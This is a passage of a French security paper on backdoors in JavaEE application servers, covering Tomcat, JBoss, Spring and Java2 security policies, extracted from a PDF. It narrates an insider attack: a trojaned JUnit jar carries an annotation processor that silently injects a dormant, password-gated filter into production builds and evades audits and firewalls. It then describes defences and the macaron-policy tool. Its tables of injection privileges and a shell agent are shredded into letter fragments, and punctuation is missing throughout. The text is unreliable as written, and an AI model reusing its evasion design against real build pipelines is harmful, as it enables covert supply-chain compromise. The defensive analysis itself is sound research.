Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

